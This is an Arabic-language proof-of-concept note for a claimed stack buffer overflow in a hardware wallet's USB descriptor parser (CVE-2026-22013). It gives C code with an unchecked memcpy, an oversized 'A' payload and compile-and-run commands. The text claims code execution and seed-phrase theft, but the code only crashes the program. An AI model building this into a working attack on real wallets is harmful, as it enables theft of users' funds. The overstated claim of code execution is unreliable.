
إثبات مفهوم (PoC) لتجاوز سعة المخزن المؤقت للمكدس في محلل أوصاف USB لمحفظة أجهزة (CVE-2026-22013)، يُظهر استبدال عنوان العودة وتنفيذ التعليمات البرمجية عبر حمولة GET_DESCRIPTOR كبيرة الحجم.
// hw_wallet_usb.c - USB descriptor parsing with fixed buffer
#include <string.h>
void handle_usb_setup(char *data, int len) {
char descriptor[32];
if (len > 0 && data[0] == 0x06) { // GET_DESCRIPTOR
// Copy descriptor payload without bounds check
memcpy(descriptor, data+1, len-1); // overflow if len>33
}
}
int main() {
char malicious[64];
memset(malicious, 'A', 63);
malicious[0] = 0x06;
handle_usb_setup(malicious, 64);
return 0;
}
يعاني مكدس USB في محفظة الأجهزة من تجاوز سعة في المخزن المؤقت للمكدس عند تحليل طلب GET_DESCRIPTOR بحمولة زائدة الحجم. يمكن لمهاجم لديه وصول فعلي عبر USB استغلال ذلك لاستبدال عنوان العودة وتحقيق تنفيذ التعليمات البرمجية، مما يتيح استخراج عبارات الاستعادة.
قم بتجميع الكود للبنية المستهدفة ثم شغّله (محاكاة):
gcc -o hw_wallet_usb hw_wallet_usb.c -fno-stack-protector
./hw_wallet_usb
يتعطل البرنامج بسبب تلف المكدس.